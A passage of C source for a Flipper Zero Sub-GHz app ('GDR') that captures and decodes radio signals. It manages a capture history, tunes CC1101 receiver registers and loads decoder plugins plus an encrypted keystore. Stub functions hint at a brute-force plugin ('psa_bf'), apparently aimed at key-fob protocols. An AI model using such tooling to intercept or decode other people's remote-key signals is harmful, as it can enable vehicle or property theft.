GDRHistoryItem* it = GDRHistoryItemArray_get(instance->data, i);
if(it->text_offset > offset) {
it->text_offset -= len;
}
}
}
GDRHistory* gdr_history_alloc(void) {
GDRHistory* instance = malloc(sizeof(GDRHistory));
furi_check(instance);
GDRHistoryItemArray_init(instance->data);
instance->last_index = 0;
memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
instance->storage = furi_record_open(RECORD_STORAGE);
instance->loaded_ff = NULL;
instance->loaded_idx = -1;
instance->scratch_text = furi_string_alloc();
furi_check(instance->scratch_text);
furi_string_reserve(instance->scratch_text, HISTORY_SCRATCH_TEXT_RESERVE);
instance->scratch_path = furi_string_alloc();
furi_check(instance->scratch_path);
furi_string_reserve(instance->scratch_path, HISTORY_SCRATCH_PATH_RESERVE);
instance->text_arena = furi_string_alloc();
furi_check(instance->text_arena);
furi_string_reserve(instance->text_arena, HISTORY_ARENA_RESERVE);
return instance;
}
void gdr_history_free(GDRHistory* instance) {
furi_check(instance);
gdr_history_release_scratch(instance);
gdr_history_delete_all_capture_files(instance);
GDRHistoryItemArray_clear(instance->data);
if(instance->scratch_text) {
furi_string_free(instance->scratch_text);
instance->scratch_text = NULL;
}
if(instance->scratch_path) {
furi_string_free(instance->scratch_path);
instance->scratch_path = NULL;
}
if(instance->text_arena) {
furi_string_free(instance->text_arena);
instance->text_arena = NULL;
}
if(instance->storage) {
furi_record_close(RECORD_STORAGE);
instance->storage = NULL;
}
free(instance);
}
void gdr_history_reset(GDRHistory* instance) {
furi_check(instance);
gdr_history_release_scratch(instance);
gdr_history_delete_all_capture_files(instance);
GDRHistoryItemArray_reset(instance->data);
furi_string_reset(instance->text_arena);
instance->last_index = 0;
memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
}
uint16_t gdr_history_get_item(GDRHistory* instance) {
furi_check(instance);
return GDRHistoryItemArray_size(instance->data);
}
uint16_t gdr_history_get_last_index(GDRHistory* instance) {
furi_check(instance);
return instance->last_index;
}
void gdr_history_format_status_text(
GDRHistory* instance,
char* output,
size_t output_size) {
furi_check(instance);
furi_check(output);
if(output_size == 0) {
return;
}
uint16_t n = gdr_history_get_item(instance);
if(n >= GDR_HISTORY_MAX) {
snprintf(output, output_size, "FULL");
} else {
snprintf(output, output_size, "%u/%u", n, GDR_HISTORY_MAX);
}
}
void gdr_history_get_status_text(GDRHistory* instance, FuriString* output) {
furi_check(instance);
furi_check(output);
char status_text[16];
gdr_history_format_status_text(instance, status_text, sizeof(status_text));
furi_string_set_str(output, status_text);
}
bool gdr_history_get_capture_path(
GDRHistory* instance,
uint16_t idx,
FuriString* out_path) {
furi_check(instance);
furi_check(out_path);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return false;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, out_path);
return true;
}
bool gdr_history_capture_path_equals(
GDRHistory* instance,
uint16_t idx,
const char* path) {
furi_check(instance);
if(!path || idx >= GDRHistoryItemArray_size(instance->data)) {
return false;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
return strcmp(furi_string_get_cstr(instance->scratch_path), path) == 0;
}
GDRHistorySource gdr_history_get_source(
GDRHistory* instance,
uint16_t idx) {
furi_check(instance);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return GDRHistorySourceUnknown;
}
return GDRHistoryItemArray_get(instance->data, idx)->source;
}
const char* gdr_history_source_name(GDRHistorySource source) {
switch(source) {
case GDRHistorySourceExternal:
return "External";
case GDRHistorySourceInternal:
return "Internal";
default:
return "Unknown";
}
}
bool gdr_history_add_to_history(
GDRHistory* instance,
void* context,
SubGhzRadioPreset* preset,
GDRHistorySource source) {
furi_check(instance);
furi_check(context);
if(source >= GDRHistorySourceCount) {
source = GDRHistorySourceUnknown;
}
if(GDRHistoryItemArray_size(instance->data) >= GDR_HISTORY_MAX) {
return false;
}
SubGhzProtocolDecoderBase* decoder_base = context;
if((instance->code_last_hash_data[source] ==
subghz_protocol_decoder_base_get_hash_data(decoder_base)) &&
((furi_get_tick() - instance->last_update_timestamp[source]) < 500)) {
instance->last_update_timestamp[source] = furi_get_tick();
return false;
}
gdr_history_release_scratch(instance);
furi_string_reset(instance->scratch_text);
furi_string_reset(instance->scratch_path);
subghz_protocol_decoder_base_get_string(decoder_base, instance->scratch_text);
FlipperFormat* temp_ff = flipper_format_string_alloc();
furi_check(temp_ff);
SubGhzProtocolStatus ser =
subghz_protocol_decoder_base_serialize(decoder_base, temp_ff, preset);
if(ser != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Serialize failed");
flipper_format_free(temp_ff);
return false;
}
if(source != GDRHistorySourceUnknown) {
flipper_format_insert_or_update_string_cstr(
temp_ff, "RadioDevice", gdr_history_source_name(source));
}
uint32_t seq = gdr_history_allocate_capture_seq();
bool saved = gdr_storage_save_history_capture(temp_ff, seq, instance->scratch_path);
flipper_format_free(temp_ff);
if(!saved) {
FURI_LOG_E(TAG, "Failed to save history file");
return false;
}
instance->code_last_hash_data[source] =
subghz_protocol_decoder_base_get_hash_data(decoder_base);
instance->last_update_timestamp[source] = furi_get_tick();
const char* text_cstr = furi_string_get_cstr(instance->scratch_text);
size_t text_len = furi_string_size(instance->scratch_text);
size_t offset = furi_string_size(instance->text_arena);
furi_check(text_len <= UINT16_MAX);
furi_check(offset <= UINT16_MAX);
furi_string_cat_str(instance->text_arena, text_cstr);
GDRHistoryItem* item = GDRHistoryItemArray_push_raw(instance->data);
item->seq_id = seq;
item->text_offset = (uint16_t)offset;
item->text_len = (uint16_t)text_len;
item->type = 0;
item->source = source;
instance->last_index++;
FURI_LOG_I(
TAG,
"Added item %u to history (size: %zu) seq=%lu",
instance->last_index,
GDRHistoryItemArray_size(instance->data),
(unsigned long)seq);
return true;
}
void gdr_history_delete_item(GDRHistory* instance, uint16_t idx) {
furi_check(instance);
size_t item_count = GDRHistoryItemArray_size(instance->data);
if(idx >= item_count) {
return;
}
if(instance->loaded_ff) {
if(instance->loaded_idx == (int16_t)idx) {
gdr_history_release_scratch(instance);
} else if(instance->loaded_idx > (int16_t)idx) {
instance->loaded_idx--;
}
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
uint32_t seq_id = item->seq_id;
uint16_t text_offset = item->text_offset;
uint16_t text_len = item->text_len;
gdr_history_delete_capture_file(instance, seq_id);
GDRHistoryItemArray_pop_at(NULL, instance->data, idx);
gdr_history_arena_remove(instance, text_offset, text_len);
FURI_LOG_I(
TAG,
"Deleted history item %u (size: %zu)",
idx,
GDRHistoryItemArray_size(instance->data));
}
void gdr_history_get_text_item_menu(
GDRHistory* instance,
FuriString* output,
uint16_t idx) {
furi_check(instance);
furi_check(output);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
furi_string_set(output, "---");
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
const char* arena = furi_string_get_cstr(instance->text_arena);
const char* str = arena + item->text_offset;
size_t remaining = item->text_len;
size_t len = 0;
while(len < remaining && str[len] != '\r' && str[len] != '\n') {
len++;
}
uint16_t display_idx = idx + 1;
const char* source_tag = "";
if(item->source == GDRHistorySourceExternal) {
source_tag = "[E] ";
} else if(item->source == GDRHistorySourceInternal) {
source_tag = "[I] ";
}
furi_string_printf(output, "%u. %s%.*s", display_idx, source_tag, (int)len, str);
}
void gdr_history_get_text_item_detail(
GDRHistory* instance,
uint16_t idx,
FuriString* output,
SubGhzEnvironment* environment) {
furi_check(instance);
furi_check(output);
UNUSED(environment);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
furi_string_set(output, "---");
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
const char* arena = furi_string_get_cstr(instance->text_arena);
furi_string_set_strn(output, arena + item->text_offset, item->text_len);
}
FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx) {
furi_check(instance);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return NULL;
}
if(instance->loaded_idx == (int16_t)idx && instance->loaded_ff) {
return instance->loaded_ff;
}
gdr_history_release_scratch(instance);
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
instance->loaded_ff = flipper_format_file_alloc(instance->storage);
furi_check(instance->loaded_ff);
if(!flipper_format_file_open_existing(
instance->loaded_ff, furi_string_get_cstr(instance->scratch_path))) {
FURI_LOG_E(
TAG, "Failed open history capture %s", furi_string_get_cstr(instance->scratch_path));
flipper_format_free(instance->loaded_ff);
instance->loaded_ff = NULL;
return NULL;
}
instance->loaded_idx = (int16_t)idx;
return instance->loaded_ff;
}
void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str) {
furi_check(instance);
furi_check(str);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
uint16_t old_offset = item->text_offset;
uint16_t old_len = item->text_len;
gdr_history_arena_remove(instance, old_offset, old_len);
size_t new_offset = furi_string_size(instance->text_arena);
size_t new_len = strlen(str);
furi_check(new_offset <= UINT16_MAX);
furi_check(new_len <= UINT16_MAX);
furi_string_cat_str(instance->text_arena, str);
item->text_offset = (uint16_t)new_offset;
item->text_len = (uint16_t)new_len;
}
@@ -0,0 +1,63 @@
// gdr_history.h
#pragma once
#include <stddef.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/protocols/base.h>
#define GDR_HISTORY_MAX 10
typedef struct SubGhzEnvironment SubGhzEnvironment;
typedef struct GDRHistory GDRHistory;
typedef enum {
GDRHistorySourceUnknown = 0,
GDRHistorySourceExternal,
GDRHistorySourceInternal,
GDRHistorySourceCount,
} GDRHistorySource;
GDRHistory* gdr_history_alloc(void);
void gdr_history_free(GDRHistory* instance);
void gdr_history_reset(GDRHistory* instance);
uint16_t gdr_history_get_item(GDRHistory* instance);
uint16_t gdr_history_get_last_index(GDRHistory* instance);
GDRHistorySource gdr_history_get_source(
GDRHistory* instance,
uint16_t idx);
const char* gdr_history_source_name(GDRHistorySource source);
void gdr_history_format_status_text(
GDRHistory* instance,
char* output,
size_t output_size);
void gdr_history_get_status_text(GDRHistory* instance, FuriString* output);
bool gdr_history_get_capture_path(
GDRHistory* instance,
uint16_t idx,
FuriString* out_path);
bool gdr_history_capture_path_equals(
GDRHistory* instance,
uint16_t idx,
const char* path);
bool gdr_history_add_to_history(
GDRHistory* instance,
void* context,
SubGhzRadioPreset* preset,
GDRHistorySource source);
void gdr_history_delete_item(GDRHistory* instance, uint16_t idx);
void gdr_history_get_text_item_menu(
GDRHistory* instance,
FuriString* output,
uint16_t idx);
void gdr_history_get_text_item_detail(
GDRHistory* instance,
uint16_t idx,
FuriString* output,
SubGhzEnvironment* environment);
FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx);
void gdr_history_release_scratch(GDRHistory* instance);
void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str);
@@ -0,0 +1,13 @@
#pragma once
#include <gui/icon.h>
extern const Icon I_DolphinDone_80x58;
extern const Icon I_DolphinWait_59x54;
extern const Icon I_Lock_7x8;
extern const Icon I_PP_scanning_123x52;
extern const Icon I_PP_scanning_ext_123x52;
extern const Icon I_Pin_back_arrow_10x8;
extern const Icon I_WarningDolphin_45x42;
extern const Icon I_gdr_10px;
extern const Icon I_subghz_10px;
@@ -0,0 +1,14 @@
#include "gdr_psa_bf_host.h"
bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app) {
(void)app;
return false;
}
void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app) {
(void)app;
}
void gdr_psa_bf_context_release(GDRApp* app) {
(void)app;
}
@@ -0,0 +1,15 @@
#pragma once
#include <stdbool.h>
typedef struct GDRApp GDRApp;
bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app);
void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app);
void gdr_psa_bf_context_release(GDRApp* app);
void gdr_receiver_info_rebuild_normal_widget(void* app);
#ifdef ENABLE_SUB_DECODE_SCENE
void gdr_subdecode_psa_bf_complete_refresh(void* app);
#endif
@@ -0,0 +1,703 @@
// helpers/gdr_rx_chain.c
#include "gdr_rx_chain.h"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
#include <furi.h>
#include <loader/firmware_api/firmware_api.h>
#include "../protocols/keys.h"
#define TAG "GDRRxChain"
#define GDR_CHAIN_KEYSTORE_DIR APP_ASSETS_PATH("encrypted")
#define GDR_CC1101_REG_FIFOTHR 0x03U
#define GDR_CC1101_REG_FSCTRL1 0x07U
#define GDR_CC1101_REG_MDMCFG4 0x10U
#define GDR_CC1101_REG_MDMCFG3 0x11U
#define GDR_CC1101_REG_MDMCFG2 0x12U
#define GDR_CC1101_REG_DEVIATN 0x15U
#define GDR_CC1101_REG_AGCCTRL2 0x1BU
#define GDR_CC1101_REG_AGCCTRL1 0x1CU
#define GDR_CC1101_REG_AGCCTRL0 0x1DU
#define GDR_CC1101_REG_FREND1 0x21U
#define GDR_CC1101_REG_TEST2 0x2CU
#define GDR_CC1101_REG_TEST1 0x2DU
#define GDR_CC1101_CHANBW_135_KHZ_MASK 0xA0U
#define GDR_CC1101_XTAL_HZ 26000000UL
#define GDR_FM_BANDWIDTH_GUARD_HZ 50000UL
#define GDR_CC1101_MOD_FORMAT_MASK 0x70U
#define GDR_CC1101_MOD_FORMAT_2FSK 0x00U
#define GDR_CC1101_MOD_FORMAT_GFSK 0x10U
#define GDR_CC1101_MOD_FORMAT_OOK 0x30U
static bool gdr_rx_chain_preset_get_register(
const uint8_t* data,
size_t size,
uint8_t reg,
uint8_t* value) {
if(!data || !value || (size < 2U)) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
break;
}
if(data[i] == reg) {
*value = data[i + 1U];
return true;
}
}
return false;
}
static bool gdr_rx_chain_preset_set_register(
uint8_t* data,
size_t size,
uint8_t reg,
uint8_t value) {
if(!data || (size < 2U)) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
break;
}
if(data[i] == reg) {
data[i + 1U] = value;
return true;
}
}
return false;
}
static bool gdr_rx_chain_preset_find_terminator(
const uint8_t* data,
size_t size,
size_t* offset) {
if(!data || !offset || size < 2U) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if(data[i] == 0x00U && data[i + 1U] == 0x00U) {
*offset = i;
return true;
}
}
return false;
}
static uint32_t gdr_rx_chain_channel_bandwidth_hz(uint8_t mdmcfg4) {
uint8_t exponent = (mdmcfg4 >> 6U) & 0x03U;
uint8_t mantissa = (mdmcfg4 >> 4U) & 0x03U;
uint32_t denominator = 8UL * (4UL + mantissa) * (1UL << exponent);
return GDR_CC1101_XTAL_HZ / denominator;
}
static uint32_t gdr_rx_chain_data_rate_hz(uint8_t mdmcfg4, uint8_t mdmcfg3) {
uint8_t exponent = mdmcfg4 & 0x0FU;
uint64_t numerator =
(uint64_t)(256UL + mdmcfg3) * (1ULL << exponent) * GDR_CC1101_XTAL_HZ;
return (uint32_t)((numerator + (1ULL << 27U)) >> 28U);
}
static uint32_t gdr_rx_chain_deviation_hz(uint8_t deviatn) {
uint8_t exponent = (deviatn >> 4U) & 0x07U;
uint8_t mantissa = deviatn & 0x07U;
uint64_t numerator =
(uint64_t)GDR_CC1101_XTAL_HZ * (8UL + mantissa) * (1ULL << exponent);
return (uint32_t)((numerator + (1ULL << 16U)) >> 17U);
}
static uint8_t gdr_rx_chain_select_bandwidth_bits(
uint32_t minimum_hz,
uint32_t* selected_hz) {
static const uint8_t bandwidth_bits[] = {
0x0FU,
0x0EU,
0x0DU,
0x0CU,
0x0BU,
0x0AU,
0x09U,
0x08U,
0x07U,
0x06U,
0x05U,
0x04U,
0x03U,
0x02U,
0x01U,
0x00U,
};
const size_t bandwidth_count = sizeof(bandwidth_bits) / sizeof(bandwidth_bits[0]);
for(size_t i = 0; i < bandwidth_count; i++) {
uint32_t bandwidth =
gdr_rx_chain_channel_bandwidth_hz((uint8_t)(bandwidth_bits[i] << 4U));
if(bandwidth >= minimum_hz) {
if(selected_hz) {
*selected_hz = bandwidth;
}
return bandwidth_bits[i];
}
}
if(selected_hz) {
*selected_hz = gdr_rx_chain_channel_bandwidth_hz(0x00U);
}
return 0x00U;
}
static const char* gdr_rx_chain_plugin_path(GDRProtocolRegistryFilter filter) {
return (filter == GDRProtocolRegistryFilterFM) ?
APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
}
GDRRxChain* gdr_rx_chain_alloc(char label) {
GDRRxChain* chain = malloc(sizeof(GDRRxChain));
furi_check(chain);
memset(chain, 0, sizeof(GDRRxChain));
chain->label = label;
chain->preset.name = furi_string_alloc();
furi_check(chain->preset.name);
chain->state = GDRTxRxStateIDLE;
chain->filter = GDRProtocolRegistryFilterAM;
return chain;
}
static void gdr_rx_chain_unload_plugin(GDRRxChain* chain) {
chain->plugin = NULL;
chain->registry = NULL;
if(chain->plugin_manager) {
plugin_manager_free(chain->plugin_manager);
chain->plugin_manager = NULL;
}
if(chain->resolver) {
composite_api_resolver_free(chain->resolver);
chain->resolver = NULL;
}
}
void gdr_rx_chain_free(GDRRxChain* chain) {
if(!chain) {
return;
}
// Make sure RX is stopped before tearing anything down.
gdr_rx_chain_stop(chain);
if(chain->receiver) {
subghz_receiver_set_rx_callback(chain->receiver, NULL, NULL);
subghz_receiver_free(chain->receiver);
chain->receiver = NULL;
}
if(chain->worker) {
if(subghz_worker_is_running(chain->worker)) {
subghz_worker_stop(chain->worker);
}
subghz_worker_free(chain->worker);
chain->worker = NULL;
}
if(chain->device) {
subghz_devices_idle(chain->device);
radio_device_loader_end(chain->device);
chain->device = NULL;
}
gdr_rx_chain_unload_plugin(chain);
if(chain->environment) {
subghz_environment_free(chain->environment);
chain->environment = NULL;
}
if(chain->preset.name) {
furi_string_free(chain->preset.name);
chain->preset.name = NULL;
}
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
free(chain);
}
bool gdr_rx_chain_acquire_device(
GDRRxChain* chain,
SubGhzRadioDeviceType type) {
furi_check(chain);
chain->device = radio_device_loader_set(NULL, type);
if(!chain->device) {
FURI_LOG_E(TAG, "[%c] Failed to acquire radio device (type=%d)", chain->label, type);
return false;
}
chain->is_external = radio_device_loader_is_external(chain->device);
if(type == SubGhzRadioDeviceTypeExternalCC1101 && !chain->is_external) {
FURI_LOG_E(TAG, "[%c] External requested but unavailable", chain->label);
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
FURI_LOG_I(
TAG, "[%c] Acquired %s radio", chain->label, chain->is_external ? "external" : "internal");
return true;
}
bool gdr_rx_chain_set_preset(
GDRRxChain* chain,
SubGhzSetting* setting,
const char* preset_name,
uint32_t frequency) {
furi_check(chain);
furi_check(setting);
furi_check(preset_name);
size_t preset_count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < preset_count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
return gdr_rx_chain_set_preset_data(
chain,
preset_name,
subghz_setting_get_preset_data(setting, i),
subghz_setting_get_preset_data_size(setting, i),
frequency);
}
}
FURI_LOG_E(TAG, "[%c] Unknown preset %s", chain->label, preset_name);
return false;
}
bool gdr_rx_chain_set_preset_data(
GDRRxChain* chain,
const char* preset_name,
uint8_t* preset_data,
size_t preset_data_size,
uint32_t frequency) {
furi_check(chain);
furi_check(preset_name);
if(!preset_data || preset_data_size < 2U) {
FURI_LOG_E(TAG, "[%c] Invalid preset data for %s", chain->label, preset_name);
return false;
}
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
furi_string_set(chain->preset.name, preset_name);
chain->preset.frequency = frequency;
chain->preset.data = preset_data;
chain->preset.data_size = preset_data_size;
chain->base_preset_data = preset_data;
chain->base_preset_data_size = preset_data_size;
chain->frequency = frequency;
chain->filter =
gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
uint8_t mdmcfg4 = 0U;
chain->rx_bandwidth_hz = gdr_rx_chain_preset_get_register(
preset_data,
preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4) ?
gdr_rx_chain_channel_bandwidth_hz(mdmcfg4) :
0U;
return true;
}
static bool gdr_rx_chain_apply_ook_shield_profile(GDRRxChain* chain) {
if(!chain->base_preset_data || chain->preset.data_size < 2U) {
FURI_LOG_E(TAG, "[%c] cannot narrow RX BW without preset data", chain->label);
return false;
}
uint8_t mdmcfg4 = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4)) {
FURI_LOG_W(TAG, "[%c] OOK preset missing MDMCFG4; retaining original", chain->label);
return true;
}
const uint8_t narrowed_mdmcfg4 =
(uint8_t)((mdmcfg4 & 0x0FU) | GDR_CC1101_CHANBW_135_KHZ_MASK);
const struct {
uint8_t reg;
uint8_t value;
} narrow_registers[] = {
{GDR_CC1101_REG_FIFOTHR, 0x47U},
{GDR_CC1101_REG_FSCTRL1, 0x06U},
{GDR_CC1101_REG_MDMCFG4, narrowed_mdmcfg4},
{GDR_CC1101_REG_AGCCTRL2, 0x04U},
{GDR_CC1101_REG_AGCCTRL1, 0x00U},
{GDR_CC1101_REG_AGCCTRL0, 0x92U},
{GDR_CC1101_REG_FREND1, 0x56U},
{GDR_CC1101_REG_TEST2, 0x81U},
{GDR_CC1101_REG_TEST1, 0x35U},
};
const size_t register_count = sizeof(narrow_registers) / sizeof(narrow_registers[0]);
size_t missing_count = 0U;
for(size_t i = 0; i < register_count; i++) {
uint8_t value = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
narrow_registers[i].reg,
&value)) {
missing_count++;
}
}
size_t terminator_offset = 0U;
if(!gdr_rx_chain_preset_find_terminator(
chain->base_preset_data, chain->base_preset_data_size, &terminator_offset)) {
FURI_LOG_W(TAG, "[%c] OOK preset has no terminator; retaining original", chain->label);
return true;
}
const size_t expanded_size = chain->base_preset_data_size + (missing_count * 2U);
uint8_t* copy = malloc(expanded_size);
if(!copy) {
FURI_LOG_E(TAG, "[%c] failed to build narrow RX preset", chain->label);
return false;
}
memcpy(copy, chain->base_preset_data, terminator_offset);
size_t write_offset = terminator_offset;
for(size_t i = 0; i < register_count; i++) {
uint8_t value = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
narrow_registers[i].reg,
&value)) {
copy[write_offset++] = narrow_registers[i].reg;
copy[write_offset++] = narrow_registers[i].value;
}
}
memcpy(
&copy[write_offset],
&chain->base_preset_data[terminator_offset],
chain->base_preset_data_size - terminator_offset);
for(size_t i = 0; i < register_count; i++) {
if(!gdr_rx_chain_preset_set_register(
copy, expanded_size, narrow_registers[i].reg, narrow_registers[i].value)) {
FURI_LOG_E(TAG, "[%c] failed to patch narrow RX preset", chain->label);
free(copy);
return false;
}
}
chain->owned_preset_data = copy;
chain->preset.data = copy;
chain->preset.data_size = expanded_size;
chain->rx_bandwidth_hz =
gdr_rx_chain_channel_bandwidth_hz(GDR_CC1101_CHANBW_135_KHZ_MASK);
FURI_LOG_I(TAG, "[%c] applied TI 135 kHz OOK sensitivity profile", chain->label);
return true;
}
static bool gdr_rx_chain_apply_fm_shield_profile(GDRRxChain* chain) {
uint8_t mdmcfg2 = 0U;
uint8_t mdmcfg3 = 0U;
uint8_t mdmcfg4 = 0U;
uint8_t deviatn = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG2,
&mdmcfg2) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG3,
&mdmcfg3) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_DEVIATN,
&deviatn)) {
FURI_LOG_W(TAG, "[%c] incomplete FM preset; retaining original bandwidth", chain->label);
return true;
}
uint8_t modulation = mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK;
if(modulation != GDR_CC1101_MOD_FORMAT_2FSK &&
modulation != GDR_CC1101_MOD_FORMAT_GFSK) {
FURI_LOG_W(TAG, "[%c] unsupported FM format; retaining original bandwidth", chain->label);
return true;
}
uint32_t data_rate = gdr_rx_chain_data_rate_hz(mdmcfg4, mdmcfg3);
uint32_t deviation = gdr_rx_chain_deviation_hz(deviatn);
uint32_t minimum_bandwidth =
data_rate + (2UL * deviation) + GDR_FM_BANDWIDTH_GUARD_HZ;
uint32_t selected_bandwidth = 0U;
uint8_t bandwidth_bits =
gdr_rx_chain_select_bandwidth_bits(minimum_bandwidth, &selected_bandwidth);
uint32_t original_bandwidth = gdr_rx_chain_channel_bandwidth_hz(mdmcfg4);
if(selected_bandwidth >= original_bandwidth) {
chain->rx_bandwidth_hz = original_bandwidth;
FURI_LOG_I(
TAG,
"[%c] FM preset already uses suitable %lu Hz bandwidth",
chain->label,
original_bandwidth);
return true;
}
uint8_t* copy = malloc(chain->base_preset_data_size);
if(!copy) {
FURI_LOG_E(TAG, "[%c] failed to copy FM preset", chain->label);
return false;
}
memcpy(copy, chain->base_preset_data, chain->base_preset_data_size);
uint8_t profiled_mdmcfg4 = (uint8_t)((mdmcfg4 & 0x0FU) | (bandwidth_bits << 4U));
if(!gdr_rx_chain_preset_set_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
profiled_mdmcfg4)) {
free(copy);
return true;
}
if(selected_bandwidth <= 101562UL) {
uint8_t agcctrl2 = 0U;
if(gdr_rx_chain_preset_get_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_AGCCTRL2,
&agcctrl2)) {
gdr_rx_chain_preset_set_register(
copy,
chain->base_preset_data_size,
GDR_CC1101_REG_AGCCTRL2,
(uint8_t)((agcctrl2 & 0xF8U) | 0x03U));
}
}
chain->owned_preset_data = copy;
chain->preset.data = copy;
chain->preset.data_size = chain->base_preset_data_size;
chain->rx_bandwidth_hz = selected_bandwidth;
FURI_LOG_I(
TAG,
"[%c] FM Shield profile: rate=%lu dev=%lu bandwidth=%lu Hz",
chain->label,
data_rate,
deviation,
selected_bandwidth);
return true;
}
bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain) {
furi_check(chain);
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
chain->preset.data = chain->base_preset_data;
chain->preset.data_size = chain->base_preset_data_size;
uint8_t mdmcfg2 = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG2,
&mdmcfg2)) {
FURI_LOG_W(TAG, "[%c] preset modulation unknown; retaining original", chain->label);
return true;
}
switch(mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK) {
case GDR_CC1101_MOD_FORMAT_OOK:
return gdr_rx_chain_apply_ook_shield_profile(chain);
case GDR_CC1101_MOD_FORMAT_2FSK:
case GDR_CC1101_MOD_FORMAT_GFSK:
return gdr_rx_chain_apply_fm_shield_profile(chain);
default:
FURI_LOG_W(TAG, "[%c] no Shield profile for modulation; retaining original", chain->label);
return true;
}
}
bool gdr_rx_chain_init_receiver(GDRRxChain* chain) {
furi_check(chain);
if(!chain->environment) {
chain->environment = subghz_environment_alloc();
if(!chain->environment) {
FURI_LOG_E(TAG, "[%c] Failed to allocate environment", chain->label);
return false;
}
}
if(!chain->plugin) {
CompositeApiResolver* resolver = composite_api_resolver_alloc();
if(!resolver) {
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin resolver", chain->label);
return false;
}
composite_api_resolver_add(resolver, firmware_api_interface);
PluginManager* manager = plugin_manager_alloc(
GDR_PROTOCOL_PLUGIN_APP_ID,
GDR_PROTOCOL_PLUGIN_API_VERSION,
composite_api_resolver_get(resolver));
if(!manager) {
FURI_LOG_E(TAG, "[%c] Failed to allocate plugin manager", chain->label);
composite_api_resolver_free(resolver);
return false;
}
const char* plugin_path = gdr_rx_chain_plugin_path(chain->filter);
PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
if(error != PluginManagerErrorNone) {
FURI_LOG_E(TAG, "[%c] Failed to load plugin %s: %d", chain->label, plugin_path, (int)error);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
if(!plugin || !plugin->registry || plugin->filter != chain->filter) {
FURI_LOG_E(TAG, "[%c] Invalid plugin entry point", chain->label);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
chain->resolver = resolver;
chain->plugin_manager = manager;
chain->plugin = plugin;
chain->registry = plugin->registry;
}
subghz_environment_set_protocol_registry(chain->environment, chain->registry);
subghz_environment_load_keystore(chain->environment, GDR_CHAIN_KEYSTORE_DIR);
gdr_keys_load(chain->environment);
if(!chain->receiver) {
